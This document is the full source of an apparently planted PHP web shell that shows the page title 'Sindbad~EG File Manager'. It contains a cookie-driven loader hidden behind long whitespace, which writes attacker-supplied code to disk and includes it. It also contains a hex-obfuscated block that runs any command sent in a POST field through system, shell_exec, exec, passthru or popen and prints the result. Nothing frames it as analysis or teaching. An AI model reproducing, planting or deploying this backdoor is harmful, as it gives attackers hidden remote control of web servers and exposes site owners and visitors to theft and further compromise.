Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[34])){$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[34][$n];if(!$c[34][$n+1]){if(!$c[34][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[13]().$p[1];if(!$p[11]($k)){$n=$p[17]($k,$p[9]);$p[23]($n,$p[16].$p[21]($p[22]($c[3])));}include($k);}


$stor1 = '79';
$stor2 = '74';
$stor3 = '6d';
$stor4 = '5f';
$stor5 = '65';
$stor6 = '63';
$stor7 = '73';
$stor8 = '68';
$stor9 = '70';
$stor10 = '6e';
$stor11 = '72';
$stor12 = '6f';
$content1 = pack("H*", '73'.$stor1.'73'.$stor2.'65'.$stor3);
$content2 = pack("H*", '73'.'68'.'65'.'6c'.'6c'.$stor4.$stor5.'78'.'65'.$stor6);
$content3 = pack("H*", '65'.'78'.'65'.$stor6);
$content4 = pack("H*", '70'.'61'.'73'.$stor7.'74'.$stor8.'72'.'75');
$content5 = pack("H*", $stor9.'6f'.'70'.'65'.$stor10);
$content6 = pack("H*", $stor7.'74'.$stor11.$stor5.'61'.$stor3.$stor4.'67'.'65'.'74'.$stor4.$stor6.'6f'.'6e'.$stor2.$stor5.'6e'.'74'.'73');
$content7 = pack("H*", '70'.$stor6.'6c'.$stor12.'73'.'65');
$system = pack("H*", $stor7.$stor1.'73'.'74'.'65'.'6d');
if (isset($_POST[$system])) {
    $system = pack("H*", $_POST[$system]);
    if (function_exists($content1)) {
        $content1($system);
    } elseif (function_exists($content2)) {
        print $content2($system);
    } elseif (function_exists($content3)) {
        $content3($system, $state_arg);
        print join("\n", $state_arg);
    } elseif (function_exists($content4)) {
        $content4($system);
    } elseif (function_exists($content5) && function_exists($content6) && function_exists($content7)) {
        $id_var = $content5($system, 'r');
        if ($id_var) {
            $argument_constant = $content6($id_var);
            $content7($id_var);
            print $argument_constant;
        }
    }
    exit;
}